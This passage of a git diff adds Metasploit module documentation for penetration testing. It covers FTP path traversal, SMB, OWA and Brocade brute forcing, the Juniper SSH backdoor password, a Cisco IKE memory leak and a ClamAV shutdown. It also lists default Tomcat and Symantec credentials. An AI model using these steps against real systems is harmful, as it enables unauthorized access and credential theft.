+before a connection to the Domain Controller is established and data read. + +An example of setting Timeout: + +``` +set Timeout [value in seconds] +``` diff --git a/documentation/modules/auxiliary/scanner/ftp/colorado_ftp_traversal.md b/documentation/modules/auxiliary/scanner/ftp/colorado_ftp_traversal.md new file mode 100644 index 0000000000..3cd56d6e3d --- /dev/null +++ b/documentation/modules/auxiliary/scanner/ftp/colorado_ftp_traversal.md @@ -0,0 +1,61 @@ +## Notes + +While the application is based in java, I was only able to get it to exploit against Windows based targets. + +## Vulnerable Application + + [official site](http://cftp.coldcore.com/files/coloradoftp-prime-8.zip?site=cft1&rv=19.1&nc=1) or [github backup](https://github.com/h00die/MSF-Testing-Scripts/raw/master/coloradoftp-prime-8.zip) + +When installing, you must edit conf/beans.xml line 182 "localIp" to put in your IP or else `pasv` won't work. + +## Verification Steps + + 1. Install the application + 2. Start msfconsole + 3. Do: `use auxiliary/scanner/ftp/colorado_ftp_traversal` + 4. Do: `set rhosts ` + 5. Do: `run` + 6. You should get the xml-users.xml file + +## Options + + **FTPUSER** + + Default user for Colorado FTP is `ftpuser` + + **FTPPASS** + + Default password for Colorado FTP is `ftpuser123` + + **DEPTH** + + Default depth of ../ to do is 2 to get back to the root of Colorado FTP. This can run anywhere, so you may have to play a bit to find the root. + +## Scenarios + + A run to obtain the user file (default in this case) + + msf > use auxiliary/scanner/ftp/colorado_ftp_traversal + msf auxiliary(colorado_ftp_traversal) > set rhosts 1.1.1.1 + rhosts => 1.1.1.1 + msf auxiliary(colorado_ftp_traversal) > set verbose true + verbose => true + msf auxiliary(colorado_ftp_traversal) > exploit + + [*] 1.1.1.1:21 - Connecting to FTP server 1.1.1.1:21... + [*] 1.1.1.1:21 - Connected to target FTP server. + [*] 1.1.1.1:21 - Authenticating as ftpuser with password ftpuser123... + [*] 1.1.1.1:21 - Sending password... + [*] 1.1.1.1:21 - \\\..\..\conf\xml-users.xml + [*] 1.1.1.1:21 - 150 Opening A mode data connection for \\\..\..\conf\xml-users.xml. + + [*] 1.1.1.1:21 - Data returned: + + + + + + + [+] 1.1.1.1:21 - Stored conf\xml-users.xml to /root/.msf4/loot/20160918184409_default_1.1.1.1_coloradoftp.ftp._168381.xml + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed diff --git a/documentation/modules/auxiliary/scanner/http/owa_ews_login.md b/documentation/modules/auxiliary/scanner/http/owa_ews_login.md new file mode 100644 index 0000000000..383fede571 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/owa_ews_login.md @@ -0,0 +1,23 @@ +This module is for password guessing against OWA's EWS service which often exposes NTLM authentication over HTTPS. It is typically faster than the traditional form-based OWA login method. + +## Verification Steps + +1. Do: ```use auxiliary/scanner/http/owa_ews_login``` +2. Do: ```set RHOSTS [IP]``` +3. Set TARGETURI if necessary. +4. Do: ```run``` + +## Sample Output + +``` +msf auxiliary(owa_ews_login) > run + +[+] Found NTLM service at /ews/ for domain OWAMSF. +[+] OWA_EWS - Successful login: Administrator:monkey +[-] OWA_EWS - Failed login: root: +[-] OWA_EWS - Failed login: admin: +[-] OWA_EWS - Failed login: guest: +[-] OWA_EWS - Failed login: root:root +[-] OWA_EWS - Failed login: root:password +[-] OWA_EWS - Failed login: root:1234 +``` diff --git a/documentation/modules/auxiliary/scanner/http/symantec_brightmail_ldapcreds.md b/documentation/modules/auxiliary/scanner/http/symantec_brightmail_ldapcreds.md new file mode 100644 index 0000000000..3f58eae2b5 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/symantec_brightmail_ldapcreds.md @@ -0,0 +1,40 @@ +Symantec Messaging Gateway is an all-in-one appliance to secure email with real-time antispam, +antimalware, targeted attacks, content filtering, data loss, and email encryption. + +The management console of SMG can be used to recover the AD password by any user with at least +read access to the appliance, which could potentially permit leveraging unauthorized, elevated +access to other resources of the network. + +Authentication is required to use symantec_brightmail_ldapcreds. However, it is possible to see +SMG with using the default username **admin** and **symantec**. + + +## Vulnerable Application + +Symantec Messaging Gateway 10.6.0 and earlier are known to be vulnerable. + +symantec_brightmail_ldapcreds was specifically tested against 10.6.0 during development. + +## Verification Steps + +These verification steps assume you already have access to the vulnerable version of +[Symantec Messaging Gateway](https://www.symantec.com/products/threat-protection/messaging-gateway). +During the development of symantec_brightmail_ldapcreds, Symantec was still providing 10.6.0 as a trial. + +**Installation** + +The 10.6.0 installation guide can be found [here](https://symwisedownload.symantec.com//resources/sites/SYMWISE/content/live/DOCUMENTATION/9000/DOC9108/en_US/smg_10.6_installation_guide.pdf?__gda__=1465490103_20360f5503fd3ef6ce426bd541fd2109) + +Make sure you remember your username and password for Symantec Messaging Gateway before using +the module. + +**Using the Module** + +Once you have the vulnerable setup ready, go ahead and do this: + +1. Start msfconsole +2. Do: ```use auxiliary/scanner/http/symantec_brightmail_ldapcreds``` +3. Do: ```set RHOSTS [IP]``` +4. Do: ```set USERNAME [USERNAME FOR SMG]``` +5. Do: ```set PASSWORD [PASSWORD FOR SMG]``` +6. Do: ```run``` \ No newline at end of file diff --git a/documentation/modules/auxiliary/scanner/http/tomcat_mgr_login.md b/documentation/modules/auxiliary/scanner/http/tomcat_mgr_login.md new file mode 100644 index 0000000000..9db11819dd --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/tomcat_mgr_login.md @@ -0,0 +1,41 @@ +The auxiliary/scanner/http/tomcat_mgr_login works for Tomcat versions that uses HTTP +authentication. + +Please note that for Tomcat 7 or newer, the roles required to use the manager application were +changed from the single manager role to the following four roles: + +* manager-gui - Allows access to the HTML GUI and the status pages. +* manager-script - Allows access to the text interface and the status pages. +* manager-jmx - Allows access to the JMX and the status pages. +* manager-status - allows access to the status pages only. + +Older versions of Tomcat came with default passwords enabled by default. For example: + +**Tomcat 4** + +| Username | Password | Role | +| -------- | -------- | ------------- | +| tomcat | tomcat | tomcat | +| role1 | tomcat | role1 | +| both | tomcat | tomcat, role1 | + +**Tomcat 5** + +Same as Tomcat 4 + +Newer Tomcat versions have these passwords commented out. + +If you are using the default Metasploit credential lists, these usernames and passwords are already +loaded. + + +## Vulnerable Application + +To download the vulnerable application, you can find it here: https://tomcat.apache.org/whichversion.html. + +## Verification Steps + +1. Do: ```auxiliary/scanner/http/tomcat_mgr_login``` +2. Do: ```set RHOSTS [IP]``` +3. Set TARGETURI if necessary. +4. Do: ```run``` diff --git a/documentation/modules/auxiliary/scanner/ike/cisco_ike_benigncertain.md b/documentation/modules/auxiliary/scanner/ike/cisco_ike_benigncertain.md new file mode 100644 index 0000000000..1c5101c640 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/ike/cisco_ike_benigncertain.md @@ -0,0 +1,34 @@ +This module is for CVE-2016-6415, A vulnerability in Internet Key Exchange version 1 (IKEv1) packet processing code in Cisco IOS, Cisco IOS XE, and Cisco IOS XR Software could allow an unauthenticated, remote attacker to retrieve memory contents, which could lead to the disclosure of confidential information. + +The vulnerability is due to insufficient condition checks in the part of the code that handles IKEv1 security negotiation requests. An attacker could exploit this vulnerability by sending a crafted IKEv1 packet to an affected device configured to accept IKEv1 security negotiation requests. A successful exploit could allow the attacker to retrieve memory contents, which could lead to the disclosure of confidential information. + +## Verification Steps + +1. Do: ```use auxiliary/scanner/ike/cisco_ike_benigncertain``` +2. Do: ```set RHOSTS [IP]``` +3. Do: ```set RPORT [PORT]``` +4. Do: ```run``` + +## Sample Output + +``` +msf auxiliary(cisco_ike_benigncertain) > show options + +Module options (auxiliary/scanner/ike/cisco_ike_benigncertain): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + PACKETFILE /opt/metasploit-framework/data/exploits/cve-2016-6415/sendpacket.raw yes The ISAKMP packet file + RHOSTS 192.168.1.2 yes The target address range or CIDR identifier + RPORT 500 yes The target port + THREADS 1 yes The number of concurrent threads + +msf auxiliary(cisco_ike_benigncertain) > set verbose True +msf auxiliary(cisco_ike_benigncertain) > run + +[*] Printable info leaked: +>5..).........9.................................................................x...D.#..............+#.........\.....?.L...l...........h.............#.....................l...\...........l.....X.................a.#...R....X.....y#.........x...@V$.\.............X.<....X................W....._y>..#t... .....H...X.....W.......................................>.$...........>5..).............................!.....:3.K......X.............xV4.xV4.xV4.......................................X...........X.:3.KxV4.xV4.................$...m;......xV4.xV4.xV4.xV4.xV4.xV4.xV4.xV4...........!.....<<<<........................................................................................................................................................<<<<....................$...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................<<<<1.......................................<<<<....9....... .......d....................Q..........<<<<....9....... ...............(............Q..........<<<<........................CI................................................................................ab_cdefg_pool...................................................................................................................................................................................ozhu7vp........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... +[+] 192.168.1.2:500 - IKE response with leak +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/scanner/jenkins/jenkins_udp_broadcast_enum.md b/documentation/modules/auxiliary/scanner/jenkins/jenkins_udp_broadcast_enum.md new file mode 100644 index 0000000000..7f71d588ae --- /dev/null +++ b/documentation/modules/auxiliary/scanner/jenkins/jenkins_udp_broadcast_enum.md @@ -0,0 +1,29 @@ +Jenkins is an open source tool that provides continuous integration services for software +development. This module will attempt to find Jenkins servers by performing a UDP +broadcast. + +To use this module, you should be on the same network as the Jenkins server(s). + + +## Verification Steps + +To test this module, you must make sure there is at least one Jenkins server on the same network. +To download Jenkins, please follow this link: + +[https://jenkins.io/](https://jenkins.io/) + + +## Options + +Unlike most Metasploit modules, jenkins_udp_broadcast_enum does not have any datastore options +to configure. So all you have to do is load it, and run, like this: + +``` +msf auxiliary(jenkins_udp_broadcast_enum) > run + +[*] Sending Jenkins UDP Broadcast Probe ... +[*] 192.168.1.96 - Found Jenkins Server 1.638 Version +[*] Auxiliary module execution completed +``` +Once you have found the Jenkins server, you should be able to browse to the web server. +And by default, that port is 8080. \ No newline at end of file diff --git a/documentation/modules/auxiliary/scanner/misc/clamav_control.md b/documentation/modules/auxiliary/scanner/misc/clamav_control.md new file mode 100644 index 0000000000..f6373b5d2c --- /dev/null +++ b/documentation/modules/auxiliary/scanner/misc/clamav_control.md @@ -0,0 +1,91 @@ +ClamAV is an open source antivirus engine for detecting trojans, viruses, malare, and other +malicious threats. + +clamav_control takes advantage of a possible misconfiguration in the ClamAV service on release +0.99.2 if the service is tied to a socket, and allows you fingerprint the version, and being +able to shut down the service. + +## Vulnerable Application + +To install ClamAV from Ubuntu: + +``` +$ sudo apt-get install clamav clamav-daemon +$ sudo freshclam +``` + +You might also need to add the following to /etc/clamav/clamd.conf: + +``` +# TCP port address. +# Default: no +TCPSocket 3310 + +# TCP address. +# By default we bind to INADDR_ANY, probably not wise. +# Enable the following to provide some degree of protection +# from the outside world. +# Default: no +TCPAddr 0.0.0.0 + +# Maximum length the queue of pending connections may grow to. +# Default: 15 +MaxConnectionQueueLength 30 + +# Clamd uses FTP-like protocol to receive data from remote clients. +# If you are using clamav-milter to balance load between remote clamd daemons +# on firewall servers you may need to tune the options below. + +# Close the connection when the data size limit is exceeded. +# The value should match your MTA's limit for a maximum attachment size. +# Default: 10M +StreamMaxLength 55M + +# Limit port range. +# Default: 1024 +#StreamMinPort 30000 +# Default: 2048 +#StreamMaxPort 32000 + +# Maximum number of threads running at the same time. +# Default: 10 +MaxThreads 50 + +# Waiting for data from a client socket will timeout after this time (seconds). +# Value of 0 disables the timeout. +# Default: 120 +ReadTimeout 300 + +# Waiting for a new job will timeout after this time (seconds). +# Default: 30 +#IdleTimeout 60 + +# Maximum depth directories are scanned at. +# Default: 15 +#MaxDirectoryRecursion 20 +``` + +And finally, start the service: + +``` +$ sudo /etc/init.d/clamav-daemon start +``` + +## Options + +clamav_control comes with two actions: + +**VERSION** + +This is the default action, and shows you the ClamAV version. Output example: + +``` +msf auxiliary(clamav_control) > run + +[+] 192.168.1.203:3310 - ClamAV 0.98.7/21772/Wed Jun 22 12:54:15 2016 +``` + +**SHUTDOWN** + +This action allows you to shutdown ClamAV. You can also use the VERSION action again to verify +whether is service is down or not. \ No newline at end of file diff --git a/documentation/modules/auxiliary/scanner/scada/profinet_siemens.md b/documentation/modules/auxiliary/scanner/scada/profinet_siemens.md new file mode 100644 index 0000000000..acdf806a32 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/scada/profinet_siemens.md @@ -0,0 +1,76 @@ +Siemens Industrial controllers and most other industrial OEMs +use a proprietary protocol to discover their devices accross a network. +In the case of Siemens this is called the Profinet Discover Protocol. +Known in Wireshark as PN_DCP + +It works purely on Layer 2 (Ethernet addresses) and sends out a single +multicast packet (making it safe to use in sensitive networks). +Each profinet enabled responds with an array of information: +- Its IP address, Subnetmask and Gateway +- Its Profinet Devicename ('Station Name') +- The Type of station +- A Vendor ID (e.g. '002a'), signifing the vendor (e.g. 'Siemens') +- A Device Role (e.g. '01'), signifing the type of device (e.g. 'IO-Controller') +- A Device ID (e.g. '010d'), signifing the device type (e.g. 'S7-1200') + +## Vulnerable Application + +This is a hardware choice of design, and as such CANNOT be changed without +loss of compatibility. +Possible mitigations include: pulling the plug (literally), using network isolation +(Firewall, Router, IDS, IPS, network segmentation, etc...) or not allowing bad +people on your network. + +Most, if not all, PLC's (computers that control engines, robots, conveyor +belts, sensors, camera's, doorlocks, CRACs ...) have vulnerabilities where, +using their own tools, remote configuration and programming can be done +*WITHOUT* authentication. Investigators and underground hackers are just now +creating simple tools to convert the, often proprietary, protocols into simple +scripts. The operating word here is "proprietary". Right now, the only thing +stopping very bad stuff from happening. + +## Verification Steps + +The following demonstrates a basic scenario, we "detect" two devices: + +``` +msf > search profinet +msf > use auxiliary/scanner/scada/profinet_siemens +msf auxiliary(profinet_siemens) > run + +[*] Sending packet out to eth0 +[+] Parsing packet from 00:0e:8c:cf:7b:1a +Type of station: ET200S CPU +Name of station: pn-io-1 +Vendor and Device Type: Siemens, ET200S +Device Role: IO-Controller +IP, Subnetmask and Gateway are: 172.16.108.11, 255.255.0.0, 172.16.108.11 + +[+] Parsing packet from 00:50:56:b6:fe:b6 +Type of station: SIMATIC-PC +Name of station: nm +Vendor and Device Type: Siemens, PC Simulator +Device Role: IO-Controller +IP, Subnetmask and Gateway are: 172.16.30.102, 255.255.0.0, 172.16.0.1 + +[+] I found 2 devices for you! +[*] Auxiliary module execution completed +``` + +## Module Options +``` +msf auxiliary(profinet_siemens) > show options + +Module options (auxiliary/scanner/scada/profinet_siemens): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + INTERFACE eth0 yes Set an interface + TIMEOUT 2 yes Seconds to wait, set longer on slower networks +``` + +By default, the module uses interface 'eth0', there is a check to see if it is live. + +The module will send out an ethernet packet and wait for responses. +By default, it will wait 2 seconds for any responses, this is long enough for most networks. +Increase this on larger and/or slower networks, it just increases the wait time. diff --git a/documentation/modules/auxiliary/scanner/smb/smb_login.md b/documentation/modules/auxiliary/scanner/smb/smb_login.md new file mode 100644 index 0000000000..86d7238c1b --- /dev/null +++ b/documentation/modules/auxiliary/scanner/smb/smb_login.md @@ -0,0 +1,126 @@ +The smb_login module is used to bruteforce SMB remotely. SMB credentials are extra valuable because they are system credentials, and you can probably reuse some of them to log in to more machines. + +## Vulnerable Application + +To use smb_login, make sure you are able to connect to a SMB service that supports SMBv1. + +## Verification Steps + +The following demonstrates a basic scenario of using the [built-in wordlists](https://github.com/rapid7/metasploit-framework/tree/master/data/wordlists) to brute-force SMB: + +``` +msf > use auxiliary/scanner/smb/smb_login +msf auxiliary(smb_login) > set RHOSTS 192.168.1.80 +RHOSTS => 192.168.1.80 +msf auxiliary(smb_login) > set USER_FILE /Users/wchen/rapid7/msf/data/wordlists/unix_users.txt +USER_FILE => /Users/wchen/rapid7/msf/data/wordlists/unix_users.txt +msf auxiliary(smb_login) > set PASS_FILE /Users/wchen/rapid7/msf/data/wordlists/unix_passwords.txt +PASS_FILE => /Users/wchen/rapid7/msf/data/wordlists/unix_passwords.txt +msf auxiliary(smb_login) > run + +[+] 192.168.1.80:445 - 192.168.1.80:445 SMB - Success: '.\root:monkey' Administrator +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(smb_login) > +``` + +If you have a database connected, you should also see this credential logged: + +``` +msf auxiliary(smb_login) > creds +Credentials +=========== + +host origin service public private realm private_type +---- ------ ------- ------ ------- ----- ------------ +192.168.1.80 192.168.1.80 445/tcp (smb) root monkey Password + +msf auxiliary(smb_login) +``` + +## Options + +By default, the smb_login module only requires the RHOSTS option to run. But in reality, you will +also need to supply user names and passwords. The following options are available to support +different credential formats: + +**The USER_FILE option** + +If you happen to manage all the found user names in a separate file, then this option would be +suitable for that. One per line. + +An example of setting USER_FILE: + +``` +set USER_FILE [path to file] +``` + +**The PASS_FILE option** + +If you happen to manage all the found passwords in a separate file, then this option would be +suitable for that. One per line. + +``` +set PASS_FILE [path to file] +``` + +**The USERPASS_FILE option** + +If each user should be using a specific password in your file, then you can use this option. One +username/password per line: + +``` +set USERPASS_FILE [path to file] +``` + +**The DB_ALL_CREDS option** + +This option allows you to reuse all the user names and passwords collected by the database: + +``` +set DB_ALL_CREDS true +``` + +**The DB_ALL_PASS option** + +This option allows you to reuse all the passwords collected by the database. + +``` +set DB_ALL_PASS true +``` + +**The DB_ALL_USERS option** + +This option allows you to reuse all the user names collected by the database. + +``` +set DB_ALL_USERS true +``` + +**The SMBUser option** + +If you are testing a specific user, use this option. + +``` +set SMBUser [user name] +``` + +**The SMBPass option** + +If you are testing a specific password, use this option. + +``` +set SMBPass [password] +``` + +Note: If an account has been successfully brute-forced, that account will not be tried again. + +Additionally, if you wish to disable automatic detection of all-access systems, you can change the following option: + +**The DETECT_ANY_AUTH option** + +This option enables detection of systems accepting any authentication. A bogus login will be attempted. + +``` +set DETECT_ANY_AUTH false +``` diff --git a/documentation/modules/auxiliary/scanner/ssh/juniper_backdoor.md b/documentation/modules/auxiliary/scanner/ssh/juniper_backdoor.md new file mode 100644 index 0000000000..23e75c513b --- /dev/null +++ b/documentation/modules/auxiliary/scanner/ssh/juniper_backdoor.md @@ -0,0 +1,33 @@ +## Vulnerable Application + + Juniper JunOS between 6.2.0r15 to 6.2.0r18 and 6.3.0r12 to 6.3.0r20 are vulnerable. + + A vulnerable copy of the firmware is available for a Juiper SSG5/SSG20 (v6.3.0r19.0): [here](https://github.com/h00die/MSF-Testing-Scripts/tree/master/juniper_firmware) + + For verification puposes, an example vuln python script is also available [here](https://github.com/h00die/MSF-Testing-Scripts) + +## Verification Steps + + 1. Install the application + 2. Start msfconsole + 3. Do: ` use auxiliary/scanner/ssh/juniper_backdoor` + 4. Do: `set rhosts` + 5. Do: `run` + 6. You should see: `[+] 192.168.1.1:22 - Logged in with backdoor account admin:<<< %s(un='%s') = %u` + +## Scenarios + + Example run against a Juniper SSG5 with vuln firmware from above link. + +``` +msf > use auxiliary/scanner/ssh/juniper_backdoor +msf auxiliary(juniper_backdoor) > set rhosts 192.168.1.1 +rhosts => 192.168.1.1 +msf auxiliary(juniper_backdoor) > set verbose true +verbose => true +msf auxiliary(juniper_backdoor) > run + +[+] 192.168.1.1:22 - Logged in with backdoor account admin:<<< %s(un='%s') = %u +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/scanner/telnet/brocade_enable_login.md b/documentation/modules/auxiliary/scanner/telnet/brocade_enable_login.md new file mode 100644 index 0000000000..2b361fc92f --- /dev/null +++ b/documentation/modules/auxiliary/scanner/telnet/brocade_enable_login.md @@ -0,0 +1,242 @@ +## Vulnerable Application + + This module is a login bruteforcer against Brocade network device's `enable` feature. + +To configure the device in a vulnerable fashion, follow these steps: + 1. Set authentication mode via: `aaa authentication enable default local` + +This module works against `enable` so we want to ensure telnet itself has no auth + **The following should not be set**: `enable telnet authentication` + +This module has been verified against: + 1. ICX6450-24 SWver 07.4.00bT311 + 2. FastIron WS 624 SWver 07.2.02fT7e1 + +An emulator is available [here](https://github.com/h00die/MSF-Testing-Scripts/blob/master/brocade_emulator.py) + +## Verification Steps + + 1. Install the emulator or device + 2. Start msfconsole + 3. Do: `use auxiliary/scanner/telnet/brocade_enable_login` + 4. Create/set a password file: `set pass_file /` + 5. If desired: `set user_as_pass true` + 6. Do: `set rhosts ` + 7. Do: `run` + 8. You should get a shell. + +## Scenarios + + Example run against ICX6450-24 SWver 07.4.00bT311 + +``` +msf > use auxiliary/scanner/telnet/brocade_enable_login +msf auxiliary(brocade_enable_login) > set pass_file /passwords.lst +pass_file => /passwords.lst +msf auxiliary(brocade_enable_login) > set user_as_pass true +user_as_pass => true +msf auxiliary(brocade_enable_login) > set rhosts 192.168.50.1 +rhosts => 192.168.50.1 +msf auxiliary(brocade_enable_login) > run + +[*] Attempting username gathering from config on 192.168.50.1 +[*] Found: admin@192.168.50.1 +[*] Found: read@192.168.50.1 +[*] Found: port@192.168.50.1 +[*] Attempting username gathering from running-config on 192.168.50.1 +[*] Found: admin@192.168.50.1 +[*] Found: read@192.168.50.1 +[*] Found: port@192.168.50.1 +[+] 192.168.50.1:23 - LOGIN SUCCESSFUL: admin:admin +[*] Attempting to start session 192.168.50.1:23 with admin:admin +[*] Command shell session 1 opened (192.168.50.2:57524 -> 192.168.50.1:23) at 2015-03-06 20:19:41 -0500 +[-] 192.168.50.1:23 - LOGIN FAILED: read:admin (Incorrect: ) +[+] 192.168.50.1:23 - LOGIN SUCCESSFUL: read:read +[*] Attempting to start session 192.168.50.1:23 with read:read +[*] Command shell session 2 opened (192.168.50.2:49223 -> 192.168.50.1:23) at 2015-03-06 20:20:32 -0500 +[-] 192.168.50.1:23 - LOGIN FAILED: port:read (Incorrect: ) +[+] 192.168.50.1:23 - LOGIN SUCCESSFUL: port:port +[*] Attempting to start session 192.168.50.1:23 with port:port +[*] Command shell session 3 opened (192.168.50.2:34683 -> 192.168.50.1:23) at 2015-03-06 20:21:23 -0500 +[-] 192.168.50.1:23 - LOGIN FAILED: admin:port (Unable to Connect: ) +[-] 192.168.50.1:23 - LOGIN FAILED: admin:admin (Unable to Connect: ) +[-] 192.168.50.1:23 - LOGIN FAILED: admin:12345678 (Unable to Connect: ) +[-] 192.168.50.1:23 - LOGIN FAILED: read:port (Unable to Connect: ) +[-] 192.168.50.1:23 - LOGIN FAILED: read:read (Unable to Connect: ) +[-] 192.168.50.1:23 - LOGIN FAILED: read:12345678 (Unable to Connect: ) +[-] 192.168.50.1:23 - LOGIN FAILED: port:port (Unable to Connect: ) +[-] 192.168.50.1:23 - LOGIN FAILED: port:port (Unable to Connect: ) +[-] 192.168.50.1:23 - LOGIN FAILED: port:12345678 (Unable to Connect: ) +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(brocade_enable_login) > sessions -l + +Active sessions +=============== + + Id Type Information Connection + -- ---- ----------- ---------- + 1 shell TELNET admin:admin (192.168.50.1:23) 192.168.50.2:57524 -> 192.168.50.1:23 (192.168.50.1) + 2 shell TELNET read:read (192.168.50.1:23) 192.168.50.2:49223 -> 192.168.50.1:23 (192.168.50.1) + 3 shell TELNET port:port (192.168.50.1:23) 192.168.50.2:34683 -> 192.168.50.1:23 (192.168.50.1) + +msf auxiliary(brocade_enable_login) > session -i 1 +[-] Unknown command: session. +msf auxiliary(brocade_enable_login) > sessions -i 1 +[*] Starting interaction with 1... + +show sessions ? +Unrecognized command +BR-telnet@FWS624 Router#show ? + 802-1w Rapid Spanning tree IEEE 802.1w D10 status + aaa Show TACACS+ and RADIUS server statistics + access-list show IPv4 access-list information + acl-on-arp Show ARP ACL filtering + arp Arp table + auth-mac-addresses MAC Authentication status + batch Batch commands + boot-preference System boot preference + buffer-profile Displays active profile + cable-diagnostics Show Cable Diagnostics + chassis Power supply/fan/temperature + clock System time and date + configuration Configuration data in startup config file + cpu-utilization CPU utilization rate + debug Debug information + default System default settings + dot1x Dot1x information + errdisable Errdisable status + fdp CDP/FDP information + flash Flash memory contents + gvrp GVRP information + inline inline power information + interfaces Port status +--More--, next page: Space, next line: Return key, quit: Control-c + ip IP address setting + ipv6 IP setting + license Show license information + link-aggregate 802.3ad Link Aggregation Information + link-error-disable Link Debouncing Control + link-keepalive Link Layer Keepalive + lldp Link-Layer Discovery Protocol information + local-userdb Local User Database information + logging System log + loop-detection loop detection status & disabled ports + mac-address MAC address table + media 1Gig/10G port media type + memory System memory usage + metro-ring Metro ring protocol information + mirror Mirror ports + module Module type and status + monitor Monitor ports + mstp show MSTP (IEEE 802.1s) information + optic Optic Temperature and Power + port Show port security + priority-mapping 802.1Q tagged priority setting + processes Active process statistics + protected-link-group Show Protected Link Group Details +--More--, next page: Space, next line: Return key, quit: Control-c + ptrace Global ptrace information + qd-buffer-profile User configured buffer/descriptor profiles + qos-profiles QOS configuration + qos-tos IPv4 ToS based QoS + radius show radius server debug info + rate-limit Rate-limiting table and actions + redundancy Display management redundancy details + relative-utilization Relative utilization list + reload Scheduled system reset + reserved-vlan-map Reserved VLAN map status + rmon Rmon status + running-config Current running-config + scheduler-profile User configured scheduling profiles + sflow sFlow information + snmp SNMP statistics + sntp Show SNTP + span Spanning tree status + statistics Packet statistics + stp-bpdu-guard BPDU Guard status + stp-group Spanning Tree Group Membership + stp-protect-ports Show stp-protect enabled ports and their BPDU drop + counters + table-mac-vlan MAC Based VLAN status +--More--, next page: Space, next line: Return key, quit: Control-c + tech-support System snap shot for tech support + telnet Telnet connection + topology-group Topology Group Membership + traffic-policy Show traffic policy definition + trunk Show trunk status + users User accounts + v6-l4-acl-sessions Show IPv6 software sessions + version System status + vlan VLAN status + vlan-group VLAN Group Membership + voice-vlan Show voice vlan + vsrp Show VSRP commands + web-connection Current web connections + webauth web authentication information + who User login + | Output modifiers + +BR-telnet@FWS624 Router# +``` + + Example run against emulator mentioned above: + +``` +msf > use auxiliary/scanner/telnet/brocade_enable_login +msf auxiliary(brocade_enable_login) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf auxiliary(brocade_enable_login) > set user_as_pass true +user_as_pass => true +msf auxiliary(brocade_enable_login) > set pass_file /passwords.lst +pass_file => /passwords.lst +msf auxiliary(brocade_enable_login) > run + +[*] Attempting username gathering from config on 127.0.0.1 +[*] Found: username@127.0.0.1 +[*] Found: ttrogdon@127.0.0.1 +[*] Found: dmudd@127.0.0.1 +[*] Attempting username gathering from running-config on 127.0.0.1 +[*] Found: TopDogUser@127.0.0.1 +[-] 127.0.0.1:23 - LOGIN FAILED: username:username (Incorrect: ) +[-] 127.0.0.1:23 - LOGIN FAILED: username:12345678 (Incorrect: ) +[-] 127.0.0.1:23 - LOGIN FAILED: username:123456 (Incorrect: ) +[+] 127.0.0.1:23 - LOGIN SUCCESSFUL: username:password +[*] Attempting to start session 127.0.0.1:23 with username:password +[*] Command shell session 1 opened (127.0.0.1:60089 -> 127.0.0.1:23) at 2015-03-06 20:05:57 -0500 +[-] 127.0.0.1:23 - LOGIN FAILED: ttrogdon:password (Incorrect: ) +[+] 127.0.0.1:23 - LOGIN SUCCESSFUL: ttrogdon:ttrogdon +[*] Attempting to start session 127.0.0.1:23 with ttrogdon:ttrogdon +[*] Command shell session 2 opened (127.0.0.1:33204 -> 127.0.0.1:23) at 2015-03-06 20:06:47 -0500 +[-] 127.0.0.1:23 - LOGIN FAILED: dmudd:ttrogdon (Incorrect: ) +[-] 127.0.0.1:23 - LOGIN FAILED: dmudd:dmudd (Incorrect: ) +[-] 127.0.0.1:23 - LOGIN FAILED: dmudd:12345678 (Incorrect: ) +[-] 127.0.0.1:23 - LOGIN FAILED: dmudd:123456 (Incorrect: ) +[-] 127.0.0.1:23 - LOGIN FAILED: dmudd:password (Incorrect: ) +[-] 127.0.0.1:23 - LOGIN FAILED: dmudd:passwords (Incorrect: ) +[-] 127.0.0.1:23 - LOGIN FAILED: dmudd:ports (Incorrect: ) +[-] 127.0.0.1:23 - LOGIN FAILED: dmudd:admin (Incorrect: ) +[-] 127.0.0.1:23 - LOGIN FAILED: dmudd:read (Incorrect: ) +[-] 127.0.0.1:23 - LOGIN FAILED: TopDogUser:ttrogdon (Incorrect: ) +[-] 127.0.0.1:23 - LOGIN FAILED: TopDogUser:TopDogUser (Incorrect: ) +[-] 127.0.0.1:23 - LOGIN FAILED: TopDogUser:12345678 (Incorrect: ) +[-] 127.0.0.1:23 - LOGIN FAILED: TopDogUser:123456 (Incorrect: ) +[-] 127.0.0.1:23 - LOGIN FAILED: TopDogUser:password (Incorrect: ) +[-] 127.0.0.1:23 - LOGIN FAILED: TopDogUser:passwords (Incorrect: ) +[-] 127.0.0.1:23 - LOGIN FAILED: TopDogUser:ports (Incorrect: ) +[-] 127.0.0.1:23 - LOGIN FAILED: TopDogUser:admin (Incorrect: ) +[-] 127.0.0.1:23 - LOGIN FAILED: TopDogUser:read (Incorrect: ) +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(brocade_enable_login) > sessions -l + +Active sessions +=============== + + Id Type Information Connection + -- ---- ----------- ---------- + 1 shell TELNET username:password (127.0.0.1:23) 127.0.0.1:60089 -> 127.0.0.1:23 (127.0.0.1) + 2 shell TELNET ttrogdon:ttrogdon (127.0.0.1:23) 127.0.0.1:33204 -> 127.0.0.1:23 (127.0.0.1) + +msf auxiliary(brocade_enable_login) > +``` \ No newline at end of file diff --git a/documentation/modules/auxiliary/scanner/udp/udp_amplification.md b/documentation/modules/auxiliary/scanner/udp/udp_amplification.md new file mode 100644 index 0000000000..ba73348d90 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/udp/udp_amplification.md @@ -0,0 +1,125 @@ +## Vulnerable Application + + Any reachable UDP endpoint is a potential target. + +## Verification Steps + + Example steps in this format: + + 1. Start `msfconsole` + 2. Do: ```use 